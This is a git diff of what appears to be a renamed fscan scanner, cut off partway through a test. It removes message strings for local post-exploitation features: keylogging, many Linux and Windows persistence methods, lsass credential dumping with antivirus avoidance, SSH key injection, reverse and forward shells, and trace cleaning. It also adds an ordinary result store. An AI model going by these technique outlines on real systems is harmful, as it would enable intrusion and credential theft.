"写入头部信息失败" -keylogger_entry_write_failed: - other: "写入键盘记录失败" -keylogger_demo_windows: - other: "演示键盘记录 - Windows平台" -keylogger_demo_linux: - other: "演示键盘记录 - Linux平台" -keylogger_demo_darwin: - other: "演示键盘记录 - macOS平台" -command_read_failed: - other: "读取命令错误" -local_target_file: - other: "目标文件: {{.Arg1}}" -persistence_file_required: - other: "必须通过 -persistence-file 参数指定目标文件路径" -target_file_not_specified: - other: "未指定目标文件" -target_file_not_exist: - other: "目标文件不存在: {{.Arg1}}" -copy_file_failed: - other: "✗ 复制文件失败: {{.Arg1}}" -file_copied_to: - other: "✓ 文件已复制到: {{.Arg1}}" -persistence_complete_summary: - other: "持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -crontask_linux_only: - other: "计划任务持久化只支持Linux平台" -crontab_unavailable: - other: "crontab命令不可用" -crontask_header: - other: "=== 计划任务持久化 ===" -crontask_user_add_failed: - other: "✗ 添加用户cron任务失败: {{.Arg1}}" -crontask_user_added: - other: "✓ 已添加用户crontab任务" -crontask_system_add_failed: - other: "✗ 添加系统cron任务失败: {{.Arg1}}" -crontask_system_added: - other: "✓ 已添加系统cron任务: {{.Arg1}}" -crontask_at_add_failed: - other: "✗ 添加at任务失败: {{.Arg1}}" -crontask_at_added: - other: "✓ 已添加at延时任务" -crontask_anacron_add_failed: - other: "✗ 添加anacron任务失败: {{.Arg1}}" -crontask_anacron_added: - other: "✓ 已添加anacron任务" -persistence_dir_create_failed: - other: "无法创建持久化目录" -crontask_system_create_none: - other: "无法创建任何系统cron任务" -systemdservice_linux_only: - other: "系统服务持久化只支持Linux平台" -systemctl_unavailable: - other: "systemctl命令不可用: {{.Arg1}}" -systemdservice_header: - other: "=== 系统服务持久化 ===" -systemdservice_create_failed: - other: "✗ 创建systemd服务失败: {{.Arg1}}" -systemdservice_created: - other: "✓ 已创建systemd服务: {{.Arg1}}" -systemdservice_start_failed: - other: "✗ 启动服务失败: {{.Arg1}}" -systemdservice_started: - other: "✓ 服务已启用并启动" -systemdservice_user_create_failed: - other: "✗ 创建用户服务失败: {{.Arg1}}" -systemdservice_user_created: - other: "✓ 已创建用户服务: {{.Arg1}}" -systemdservice_timer_create_failed: - other: "✗ 创建定时器服务失败: {{.Arg1}}" -systemdservice_timer_created: - other: "✓ 已创建systemd定时器" -systemdservice_complete_summary: - other: "系统服务持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -service_dir_create_failed: - other: "无法创建服务目录" -systemdservice_create_none: - other: "无法创建任何systemd服务文件" -service_operation_error: - other: "服务操作错误" -ldpreload_linux_only: - other: "LD_PRELOAD持久化只支持Linux平台" -ldpreload_so_required: - other: "目标文件必须是 .so 动态库文件: {{.Arg1}}" -invalid_file_type: - other: "无效文件类型" -ldpreload_header: - other: "=== LD_PRELOAD持久化 ===" -ldpreload_copy_system_failed: - other: "✗ 复制文件到系统目录失败: {{.Arg1}}" -ldpreload_env_add_failed: - other: "✗ 添加环境变量失败: {{.Arg1}}" -ldpreload_env_added: - other: "✓ 已添加到全局环境变量" -ldpreload_shell_add_failed: - other: "✗ 添加到shell配置失败: {{.Arg1}}" -ldpreload_shell_added: - other: "✓ 已添加到shell配置: {{.Arg1}}" -ldpreload_config_create_failed: - other: "✗ 创建ld配置失败: {{.Arg1}}" -ldpreload_config_created: - other: "✓ 已创建ld预加载配置" -ldpreload_complete_summary: - other: "LD_PRELOAD持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" -ldpreload_system_lib_dir_not_found: - other: "找不到合适的系统库目录" -ldpreload_shell_config_modify_none: - other: "无法修改任何shell配置文件" -cleaner_removed: - other: "[清理] {{.Arg1}}" -cleaner_history_removed: - other: "[清理] {{.Arg1}} 中的 fscan 记录" -sshkey_mkdir_failed: - other: "[失败] {{.Arg1}}: 无法创建 .ssh 目录: {{.Arg2}}" -sshkey_generate_failed: - other: "[失败] {{.Arg1}}: 密钥生成失败: {{.Arg2}}" -sshkey_authorized_read_failed: - other: "[失败] {{.Arg1}}: 读取 authorized_keys 失败: {{.Arg2}}" -sshkey_public_exists: - other: "[跳过] {{.Arg1}}: 公钥已存在" -sshkey_authorized_write_failed: - other: "[失败] {{.Arg1}}: 无法写入 authorized_keys: {{.Arg2}}" -sshkey_private_save_failed: - other: "[失败] {{.Arg1}}: 私钥保存失败: {{.Arg2}}" -sshkey_injected: - other: "[成功] {{.Arg1}}: 公钥已注入 {{.Arg2}},私钥保存为 {{.Arg3}}" -minidump_admin_required: - other: "需要管理员权限" -minidump_load_dll_failed: - other: "加载系统DLL失败: {{.Arg1}}" -minidump_try_direct: - other: "[*] 尝试直接内存转储..." -minidump_av_skip_direct: - other: "[*] 检测到杀软防护,跳过直接dump" -minidump_try_comsvcs: - other: "[*] 尝试 comsvcs.dll 方式..." -minidump_try_regsave: - other: "[*] 尝试 reg save 导出注册表..." -minidump_all_failed: - other: "[!] 所有方式均失败" -minidump_all_methods_failed: - other: "所有凭据提取方式均失败" -minidump_find_lsass_failed: - other: " 查找lsass.exe失败: {{.Arg1}}" -minidump_privilege_failed: - other: " 权限提升失败: {{.Arg1}}" -minidump_direct_failed: - other: " 直接dump失败: {{.Arg1}}" -minidump_method_direct: - other: "直接内存转储" -minidump_comsvcs_failed: - other: " comsvcs.dll失败: {{.Arg1}}" -minidump_hive_export_failed: - other: " ✗ {{.Arg1}} 导出失败" -minidump_regsave_done: - other: "[+] 注册表 hive 导出完成,可用 secretsdump 离线解析" -minidump_method_success: - other: "[+] {{.Arg1}}成功: {{.Arg2}} ({{.Arg3}} bytes)" -minidump_load_named_dll_failed: - other: "加载 {{.Arg1}} 失败" -minidump_find_proc_failed: - other: "查找{{.Arg1}}函数失败" -minidump_snapshot_create_failed: - other: "创建进程快照失败" -minidump_first_process_failed: - other: "获取第一个进程失败" -minidump_process_name_convert_failed: - other: "转换进程名失败" -minidump_process_not_found: - other: "未找到进程: {{.Arg1}}" -minidump_open_process_token_failed: - other: "打开进程令牌失败" -minidump_privilege_name_convert_failed: - other: "转换权限名称失败" -minidump_lookup_privilege_failed: - other: "查找特权值失败" -minidump_adjust_token_failed: - other: "调整令牌特权失败" -minidump_current_process_failed: - other: "获取当前进程句柄失败" -minidump_timeout: - other: "内存转储超时 (120秒)" -minidump_write_dump_failed: - other: "写入转储文件失败" -minidump_open_process_failed: - other: "打开进程失败" -file_create_failed: - other: "创建文件失败" -local_step_failed: - other: "[失败] {{.Arg1}}: {{.Arg2}}" -local_step_success: - other: "[成功] {{.Arg1}}" -local_step_success_detail: - other: "[成功] {{.Arg1}} ({{.Arg2}})" -local_step_success_arrow: - other: "[成功] {{.Arg1}} -> {{.Arg2}}" -winregistry_current_user_run: - other: "当前用户 Run" -winregistry_local_machine_run: - other: "本地机器 Run" -winregistry_current_user_runonce: - other: "当前用户 RunOnce" -winregistry_step_success: - other: "[成功] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" -winifeo_sticky_keys: - other: "粘滞键 (Shift×5)" -winifeo_accessibility: - other: "辅助功能 (Win+U)" -winifeo_narrator: - other: "讲述人" -winlogon_userinit_append: - other: "Userinit 追加" -winlogon_shell_append: - other: "Shell 追加" -winbits_create_task_failed: - other: "[失败] 创建任务: {{.Arg1}}" -winbits_guid_extract_failed: - other: "[失败] 无法提取任务 GUID" -winbits_task_created: - other: "[成功] 创建任务: {{.Arg1}} ({{.Arg2}})" -winbits_add_file: - other: "添加文件" -winbits_set_callback: - other: "设置回调" -winbits_set_retry: - other: "设置重试" -winbits_resume_task: - other: "恢复任务" -winstartup_user_folder: - other: "用户启动文件夹" -winstartup_common_folder: - other: "公共启动文件夹" -cleaner_restore_winlogon_shell: - other: "[恢复] Winlogon Shell: {{.Arg1}} → {{.Arg2}}" -cleaner_restore_winlogon_userinit: - other: "[恢复] Winlogon Userinit: {{.Arg1}} → {{.Arg2}}" -cleaner_ifeo_removed: - other: "[清理] IFEO: {{.Arg1}}" -cleaner_registry_removed: - other: "[清理] 注册表: {{.Arg1}}\\{{.Arg2}}" -cleaner_schtask_removed: - other: "[清理] 计划任务: {{.Arg1}}" -cleaner_service_removed: - other: "[清理] 服务: {{.Arg1}}" -cleaner_startup_removed: - other: "[清理] 启动文件夹: {{.Arg1}}" -cleaner_bits_removed: - other: "[清理] BITS: {{.Arg1}}" -cleaner_wmi_removed: - other: "[清理] WMI 事件订阅" -cleaner_prefetch_removed: - other: "[清理] Prefetch: {{.Arg1}}" -systeminfo_antivirus_process_count: - other: "{{.Arg1}} ({{.Arg2}}个进程)" -powershell_exec_failed: - other: "PowerShell执行失败" -command_output: - other: "输出" webtitle_no_fingerprint_skip_poc: other: "WebTitle {{.Arg1}} 无匹配指纹,跳过POC扫描" webtitle_cdn_waf_skip_poc: @@ -1367,211 +913,6 @@ redis_cron_success: redis_restore_failed: other: "恢复数据库配置失败: {{.Arg1}}" -# ========================= 本地插件消息 ========================= -# 计划任务持久化 -crontask_success: - other: "计划任务持久化完成: {{.Arg1}}个方法成功" - -# 键盘记录 -keylogger_success: - other: "键盘记录完成,捕获了 {{.Arg1}} 个键盘事件" -keylogger_save_failed: - other: "保存键盘记录失败: {{.Arg1}}" -keylogger_no_input: - other: "没有捕获到键盘输入" - -# Windows WMI -winwmi_success: - other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目" - -# 痕迹清理 -cleaner_success: - other: "痕迹清理完成: {{.Arg1}}个文件, {{.Arg2}}个系统条目" -cleaner_history_found: - other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)" - -# 正向Shell -forwardshell_complete: - other: "正向Shell服务完成 - 端口: {{.Arg1}}" -forwardshell_started: - other: "正向Shell服务器已在 0.0.0.0:{{.Arg1}} 上启动" -forwardshell_accept_failed: - other: "接受连接失败: {{.Arg1}}" -forwardshell_client_connected: - other: "客户端连接来自: {{.Arg1}}" -forwardshell_read_failed: - other: "读取客户端命令失败: {{.Arg1}}" - -# IFEO映像劫持 -winifeo_success: - other: "IFEO映像劫持完成: {{.Arg1}}个目标" - -# BITS持久化 -winbits_success: - other: "BITS持久化完成: {{.Arg1}}" - -# Winlogon持久化 -winlogon_success: - other: "Winlogon持久化完成: {{.Arg1}}个项目" - -# Windows启动文件夹 -winstartup_success: - other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法" - -# Windows服务 -winservice_success: - other: "Windows服务持久化完成: {{.Arg1}}个项目" - -# SSH Key注入 -sshkey_success: - other: "SSH Key注入完成: {{.Arg1}}个用户" - -# LD_PRELOAD -ldpreload_success: - other: "LD_PRELOAD持久化完成: {{.Arg1}}个方法成功" - -# SOCKS5代理 -socks5_starting: - other: "在端口 {{.Arg1}} 上启动SOCKS5代理" -socks5_complete: - other: "SOCKS5代理完成 - 端口: {{.Arg1}}" -socks5_started: - other: "SOCKS5代理服务器已在 127.0.0.1:{{.Arg1}} 上启动" -socks5_cancelled: - other: "SOCKS5代理服务器被上下文取消" -socks5_accept_failed: - other: "接受连接失败: {{.Arg1}}" -socks5_handshake_failed: - other: "SOCKS5握手失败: {{.Arg1}}" -socks5_request_failed: - other: "SOCKS5请求处理失败: {{.Arg1}}" -socks5_connected: - other: "建立SOCKS5代理连接" - -# 反弹Shell -reverseshell_complete: - other: "反弹Shell完成 - 目标: {{.Arg1}}" -reverseshell_connected: - other: "反弹Shell已连接到 {{.Arg1}}:{{.Arg2}}" - -# Systemd服务 -systemdservice_success: - other: "系统服务持久化完成: {{.Arg1}}个方法成功" - -# 系统信息 -minidump_regsave_success: - other: "注册表 hive 导出完成 (SAM/SECURITY/SYSTEM)" - -systeminfo_start: - other: "开始系统信息收集" -systeminfo_os: - other: "操作系统: {{.Arg1}}" -systeminfo_arch: - other: "架构: {{.Arg1}}" -systeminfo_cpu: - other: "CPU核心数: {{.Arg1}}" -systeminfo_hostname: - other: "主机名: {{.Arg1}}" -systeminfo_user: - other: "当前用户: {{.Arg1}}" -systeminfo_homedir: - other: "用户目录: {{.Arg1}}" -systeminfo_workdir: - other: "工作目录: {{.Arg1}}" -systeminfo_tempdir: - other: "临时目录: {{.Arg1}}" -systeminfo_pathcount: - other: "PATH变量条目: {{.Arg1}}个" -systeminfo_winver: - other: "Windows版本: {{.Arg1}}" -systeminfo_domain: - other: "用户域: {{.Arg1}}" -systeminfo_kernel: - other: "系统内核: {{.Arg1}}" -systeminfo_distro: - other: "发行版: {{.Arg1}}" -systeminfo_distro_exists: - other: "发行版: /etc/os-release 存在" -systeminfo_whoami: - other: "当前用户(whoami): {{.Arg1}}" -systeminfo_iface: - other: "网卡 {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" -systeminfo_privilege: - other: "权限级别: {{.Arg1}}" -systeminfo_privilege_group: - other: "所属管理组: {{.Arg1}}" -systeminfo_id_info: - other: "用户信息: {{.Arg1}}" -systeminfo_firewall: - other: "防火墙: {{.Arg1}}" -systeminfo_firewall_rules: - other: "防火墙规则数: {{.Arg1}}" -systeminfo_patches: - other: "已安装补丁: {{.Arg1}}个" -systeminfo_antivirus: - other: "检测到杀软: {{.Arg1}}" -systeminfo_av_process: - other: " - {{.Arg1}}" -systeminfo_sudo: - other: "sudo权限: {{.Arg1}}" -systeminfo_macos_detail: - other: "macOS: {{.Arg1}}" -systeminfo_sensitive_env: - other: "敏感环境变量: {{.Arg1}}={{.Arg2}}" -systeminfo_sensitive_file: - other: "敏感文件: {{.Arg1}}" -systeminfo_dc_detected: - other: "检测到域环境: {{.Arg1}}" -systeminfo_dc_connect_failed: - other: "域控连接失败: {{.Arg1}}" -systeminfo_dc_basedn: - other: "域 Base DN: {{.Arg1}}" -systeminfo_dc_created: - other: "域创建时间: {{.Arg1}}" -systeminfo_dc_func_level: - other: "域功能级别: {{.Arg1}}" -systeminfo_dc_controllers: - other: "域控制器: {{.Arg1}}个" -systeminfo_dc_controller_detail: - other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" -systeminfo_dc_admins: - other: "域管理员: {{.Arg1}}个" -systeminfo_dc_admin_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_users: - other: "域用户数: {{.Arg1}}" -systeminfo_dc_computers: - other: "域计算机数: {{.Arg1}}" -systeminfo_dc_computer_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_gpos: - other: "组策略: {{.Arg1}}个" -systeminfo_dc_gpo_detail: - other: " - {{.Arg1}} [{{.Arg2}}]" - -# Windows计划任务 -winschtask_success: - other: "Windows计划任务持久化完成: {{.Arg1}}个项目" - -# Windows注册表 -winregistry_success: - other: "Windows注册表持久化完成: {{.Arg1}}个项目" - -# Minidump -minidump_panic: - other: "minidump插件发生panic: {{.Arg1}}" -minidump_success: - other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)" - -# 本地插件通用错误 -local_pe_not_specified: - other: "未指定PE文件,使用 -win-pe 参数" -local_pe_not_found: - other: "PE文件不存在: {{.Arg1}}" -local_invalid_pe: - other: "无效的PE文件: {{.Arg1}}" - -# ========================= WebScan消息 ========================= webscan_target_url_failed: other: "构建目标URL失败: {{.Arg1}}" webscan_invalid_url: @@ -1654,8 +995,8 @@ webscan_poc_dir_read_failed: other: "读取POC目录失败: {{.Arg1}}" webscan_unknown_poc_format: other: "未知POC格式" -webscan_fscan_format_parse_failed: - other: "fscan格式解析失败" +webscan_native_format_parse_failed: + other: "scanner格式解析失败" webscan_nuclei_format_parse_failed: other: "nuclei格式解析失败" webscan_nuclei_no_http_rules: @@ -1695,7 +1036,7 @@ webscan_request_send_error: param_error: other: "参数错误: {{.Arg1}}" param_exclusive: - other: "参数 {{.Arg1}} 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集" + other: "参数 {{.Arg1}} 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描" error_generic: other: "错误: {{.Arg1}}" init_failed: @@ -1707,13 +1048,6 @@ redis_scan_success: rabbitmq_detected: other: "RabbitMQ {{.Arg1}} {{.Arg2}}" -# ========================= Web UI消息 ========================= -web_server_started: - other: "Web服务器已启动,端口: {{.Arg1}}" -web_shutting_down: - other: "Web服务器正在关闭..." -web_mode_not_supported: - other: "当前版本不支持Web模式,请使用 -tags web 重新编译" # ========================= Debug消息 ========================= debug_create_profiles_failed: diff --git a/common/initialize.go b/common/initialize.go index 99a7671d..5030a60b 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -3,7 +3,7 @@ package common import ( "fmt" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* @@ -53,7 +53,7 @@ func Initialize(info *HostInfo) (*InitResult, error) { } // ValidateExclusiveParams 验证互斥参数 -// 检查 -h、-u、-local 只能指定一个 +// 检查 -h、-u 只能指定一个 func ValidateExclusiveParams(info *HostInfo) error { paramCount := 0 var activeParam string @@ -72,15 +72,6 @@ func ValidateExclusiveParams(info *HostInfo) error { activeParam = "-u" } } - if fv.LocalPlugin != "" { - paramCount++ - if activeParam != "" { - activeParam = i18n.Tr("param_join_and", activeParam, "-local") - } else { - activeParam = "-local" - } - } - if paramCount > 1 { return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam)) } diff --git a/common/initialize_test.go b/common/initialize_test.go index 5c3e6aac..1391385f 100644 --- a/common/initialize_test.go +++ b/common/initialize_test.go @@ -17,9 +17,7 @@ func TestValidateExclusiveParams(t *testing.T) { }{ {name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}}, {name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}}, - {name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}}, {name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"}, - {name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"}, } for _, tt := range tests { diff --git a/common/logger.go b/common/logger.go index 23f2d5ff..9bf0bca1 100644 --- a/common/logger.go +++ b/common/logger.go @@ -10,7 +10,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/logging" + "scanner/common/logging" ) var ( @@ -36,7 +36,7 @@ func getGlobalLogger() *logging.Logger { StartTime: GetGlobalState().GetStartTime(), } if fv.Debug { - config.DebugLogFile = "fscan_debug.log" + config.DebugLogFile = "debug.log" } globalLogger = logging.NewLogger(config) globalLogger.SetCoordinatedOutput(LogWithProgress) diff --git a/common/network.go b/common/network.go index ffef90d0..652d3ab6 100644 --- a/common/network.go +++ b/common/network.go @@ -16,8 +16,8 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/i18n" + "scanner/common/proxy" ) // ============================================================================= diff --git a/common/network_facade_test.go b/common/network_facade_test.go index fd9d4730..998bd3d0 100644 --- a/common/network_facade_test.go +++ b/common/network_facade_test.go @@ -5,7 +5,7 @@ import ( "net/http" "testing" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/proxy" ) func TestNetworkFacadeProxyState(t *testing.T) { diff --git a/common/output/buffer.go b/common/output/buffer.go index 450e4c30..6c3d1fa7 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -38,7 +38,7 @@ func (b *ResultBuffer) Add(result *ScanResult) { return } - key := b.generateKey(result) + key := resultKey(result) switch result.Type { case TypeHost: @@ -56,9 +56,9 @@ func (b *ResultBuffer) Add(result *ScanResult) { b.seenServices[key] = len(b.ServiceResults) b.ServiceResults = append(b.ServiceResults, result) } else { - b.mergeDetails(b.ServiceResults[idx], result) + mergeResultDetails(b.ServiceResults[idx], result) // 保留信息更完整的记录,同时保留另一条记录补充的字段 - if b.isMoreComplete(result, b.ServiceResults[idx]) { + if resultCompleteness(result) > resultCompleteness(b.ServiceResults[idx]) { b.ServiceResults[idx] = result } } @@ -70,7 +70,7 @@ func (b *ResultBuffer) Add(result *ScanResult) { } } -func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { +func mergeResultDetails(oldResult, newResult *ScanResult) { if oldResult == nil || newResult == nil { return } @@ -92,8 +92,10 @@ func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { } } -// generateKey 生成结果的唯一键(用于去重) -func (b *ResultBuffer) generateKey(result *ScanResult) string { +func resultKey(result *ScanResult) string { + if result == nil { + return "" + } switch result.Type { case TypeHost: return result.Target @@ -113,15 +115,14 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string { } } -// isMoreComplete 判断新记录是否比旧记录信息更完整 -func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool { - return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult) -} - // CalculateCompleteness 计算记录的信息完整度 func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int { + return resultCompleteness(result) +} + +func resultCompleteness(result *ScanResult) int { score := 0 - if result.Details == nil { + if result == nil || result.Details == nil { return score } diff --git a/common/output/disk_store.go b/common/output/disk_store.go new file mode 100644 index 00000000..62df9c7f --- /dev/null +++ b/common/output/disk_store.go @@ -0,0 +1,308 @@ +package output + +import ( + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sync" + "time" + + bolt "go.etcd.io/bbolt" +) + +var storedResultTypes = [...]ResultType{TypeHost, TypePort, TypeService, TypeVuln} + +type diskResultStore struct { + mu sync.Mutex + db *bolt.DB + writeTx *bolt.Tx + path string + closed bool + pendingSync int + lastSync time.Time +} + +func newDiskResultStore(outputPath string) (*diskResultStore, error) { + dir := filepath.Dir(outputPath) + base := filepath.Base(outputPath) + temp, err := os.CreateTemp(dir, "."+base+".store-*.tmp") + if err != nil { + return nil, fmt.Errorf("create result store: %w", err) + } + path := temp.Name() + if err := temp.Close(); err != nil { + _ = os.Remove(path) + return nil, fmt.Errorf("close result store placeholder: %w", err) + } + + db, err := bolt.Open(path, 0600, &bolt.Options{ + Timeout: time.Second, + NoSync: true, + FreelistType: bolt.FreelistMapType, + }) + if err != nil { + _ = os.Remove(path) + return nil, fmt.Errorf("open result store: %w", err) + } + + store := &diskResultStore{db: db, path: path, lastSync: time.Now()} + if err := db.Update(func(tx *bolt.Tx) error { + for _, resultType := range storedResultTypes { + if _, err := tx.CreateBucketIfNotExists(recordsBucketName(resultType)); err != nil { + return err + } + if _, err := tx.CreateBucketIfNotExists(seenBucketName(resultType)); err != nil { + return err + } + } + return nil + }); err != nil { + _ = db.Close() + _ = os.Remove(path) + return nil, fmt.Errorf("initialize result store: %w", err) + } + if err := db.Sync(); err != nil { + _ = db.Close() + _ = os.Remove(path) + return nil, fmt.Errorf("sync result store schema: %w", err) + } + return store, nil +} + +func recordsBucketName(resultType ResultType) []byte { + return []byte("records:" + string(resultType)) +} + +func seenBucketName(resultType ResultType) []byte { + return []byte("seen:" + string(resultType)) +} + +func isStoredResultType(resultType ResultType) bool { + switch resultType { + case TypeHost, TypePort, TypeService, TypeVuln: + return true + default: + return false + } +} + +func sequenceKey(sequence uint64) []byte { + key := make([]byte, 8) + binary.BigEndian.PutUint64(key, sequence) + return key +} + +func (s *diskResultStore) Add(result *ScanResult) error { + if result == nil { + return fmt.Errorf("result cannot be nil") + } + if !isStoredResultType(result.Type) { + return nil + } + + encoded, err := json.Marshal(result) + if err != nil { + return fmt.Errorf("encode result: %w", err) + } + + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return fmt.Errorf("result store is closed") + } + + if s.writeTx == nil { + s.writeTx, err = s.db.Begin(true) + if err != nil { + return fmt.Errorf("begin result store transaction: %w", err) + } + } + changed := false + err = func(tx *bolt.Tx) error { + records := tx.Bucket(recordsBucketName(result.Type)) + seen := tx.Bucket(seenBucketName(result.Type)) + if records == nil || seen == nil { + return fmt.Errorf("result store bucket is missing for %s", result.Type) + } + + key := append([]byte{1}, []byte(resultKey(result))...) + if existingSequence := seen.Get(key); existingSequence != nil { + if result.Type != TypeService { + return nil + } + existingData := records.Get(existingSequence) + if existingData == nil { + return fmt.Errorf("service index points to a missing record") + } + var existing, incoming ScanResult + if err := json.Unmarshal(existingData, &existing); err != nil { + return fmt.Errorf("decode stored service: %w", err) + } + if err := json.Unmarshal(encoded, &incoming); err != nil { + return fmt.Errorf("decode incoming service: %w", err) + } + mergeResultDetails(&existing, &incoming) + selected := &existing + if resultCompleteness(&incoming) > resultCompleteness(&existing) { + selected = &incoming + } + merged, err := json.Marshal(selected) + if err != nil { + return fmt.Errorf("encode merged service: %w", err) + } + changed = true + return records.Put(existingSequence, merged) + } + + sequence, err := records.NextSequence() + if err != nil { + return err + } + sequenceBytes := sequenceKey(sequence) + if err := records.Put(sequenceBytes, encoded); err != nil { + return err + } + if err := seen.Put(key, sequenceBytes); err != nil { + return err + } + changed = true + return nil + }(s.writeTx) + if err != nil { + _ = s.writeTx.Rollback() + s.writeTx = nil + return fmt.Errorf("store result: %w", err) + } + if !changed { + if s.pendingSync > 0 && time.Since(s.lastSync) >= realtimeSyncInterval { + return s.flushLocked(true) + } + return nil + } + s.pendingSync++ + if s.pendingSync >= realtimeSyncBatchSize || time.Since(s.lastSync) >= realtimeSyncInterval { + return s.flushLocked(true) + } + return nil +} + +func (s *diskResultStore) ForEach(resultType ResultType, fn func(*ScanResult) error) error { + if fn == nil { + return fmt.Errorf("result callback cannot be nil") + } + if !isStoredResultType(resultType) { + return nil + } + + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return fmt.Errorf("result store is closed") + } + if err := s.flushLocked(false); err != nil { + return err + } + + return s.db.View(func(tx *bolt.Tx) error { + records := tx.Bucket(recordsBucketName(resultType)) + if records == nil { + return nil + } + return records.ForEach(func(_, value []byte) error { + var result ScanResult + if err := json.Unmarshal(value, &result); err != nil { + return fmt.Errorf("decode %s result: %w", resultType, err) + } + return fn(&result) + }) + }) +} + +func (s *diskResultStore) Summary() (hosts, ports, services, vulns int, err error) { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return 0, 0, 0, 0, fmt.Errorf("result store is closed") + } + if err := s.flushLocked(false); err != nil { + return 0, 0, 0, 0, err + } + + counts := make(map[ResultType]int, len(storedResultTypes)) + err = s.db.View(func(tx *bolt.Tx) error { + for _, resultType := range storedResultTypes { + bucket := tx.Bucket(recordsBucketName(resultType)) + if bucket != nil { + counts[resultType] = bucket.Stats().KeyN + } + } + return nil + }) + return counts[TypeHost], counts[TypePort], counts[TypeService], counts[TypeVuln], err +} + +func (s *diskResultStore) Sync() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed || s.db == nil { + return nil + } + return s.flushLocked(true) +} + +func (s *diskResultStore) flushLocked(syncToDisk bool) error { + if s.writeTx != nil { + if err := s.writeTx.Commit(); err != nil { + s.writeTx = nil + return fmt.Errorf("commit result store: %w", err) + } + s.writeTx = nil + } + if syncToDisk { + if err := s.db.Sync(); err != nil { + return fmt.Errorf("sync result store: %w", err) + } + s.pendingSync = 0 + s.lastSync = time.Now() + } + return nil +} + +func (s *diskResultStore) Close() error { + s.mu.Lock() + defer s.mu.Unlock() + if s.closed { + return nil + } + var firstErr error + if s.db != nil { + if err := s.flushLocked(true); err != nil { + firstErr = err + } + if err := s.db.Close(); err != nil && firstErr == nil { + firstErr = err + } + } + s.closed = true + return firstErr +} + +func (s *diskResultStore) Remove() error { + if s == nil || s.path == "" { + return nil + } + if err := os.Remove(s.path); err != nil && !errors.Is(err, os.ErrNotExist) { + return err + } + return nil +} + +func (s *diskResultStore) Path() string { + if s == nil { + return "" + } + return s.path +} diff --git a/common/output/disk_store_test.go b/common/output/disk_store_test.go new file mode 100644 index 00000000..1b595610 --- /dev/null +++ b/common/output/disk_store_test.go @@ -0,0 +1,166 @@ +package output + +import ( + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +func TestDiskResultStoreDeduplicatesAndMerges(t *testing.T) { + store, err := newDiskResultStore(filepath.Join(t.TempDir(), "results.json")) + if err != nil { + t.Fatalf("newDiskResultStore: %v", err) + } + defer func() { + _ = store.Close() + _ = store.Remove() + }() + + host := &ScanResult{Time: time.Now(), Type: TypeHost, Target: "192.0.2.1", Status: "alive"} + if err := store.Add(host); err != nil { + t.Fatalf("Add host: %v", err) + } + if err := store.Add(host); err != nil { + t.Fatalf("Add duplicate host: %v", err) + } + if err := store.Add(&ScanResult{Type: TypePort, Target: "192.0.2.1", Details: map[string]interface{}{"port": 443}}); err != nil { + t.Fatalf("Add port: %v", err) + } + if err := store.Add(&ScanResult{Type: TypeService, Target: "192.0.2.1:443", Details: map[string]interface{}{"service": "https", "server": "nginx"}}); err != nil { + t.Fatalf("Add service: %v", err) + } + if err := store.Add(&ScanResult{Type: TypeService, Target: "192.0.2.1:443", Details: map[string]interface{}{"title": "Example", "fingerprints": []string{"nginx"}}}); err != nil { + t.Fatalf("Merge service: %v", err) + } + + hosts, ports, services, vulns, err := store.Summary() + if err != nil { + t.Fatalf("Summary: %v", err) + } + if hosts != 1 || ports != 1 || services != 1 || vulns != 0 { + t.Fatalf("summary = %d/%d/%d/%d", hosts, ports, services, vulns) + } + + var merged *ScanResult + if err := store.ForEach(TypeService, func(result *ScanResult) error { + merged = result + return nil + }); err != nil { + t.Fatalf("ForEach: %v", err) + } + if merged == nil || merged.Details["server"] != "nginx" || merged.Details["title"] != "Example" { + t.Fatalf("merged service = %#v", merged) + } + if err := store.Sync(); err != nil { + t.Fatalf("Sync: %v", err) + } + if info, err := os.Stat(store.Path()); err != nil || info.Size() == 0 { + t.Fatalf("store stat = %#v, %v", info, err) + } +} + +func 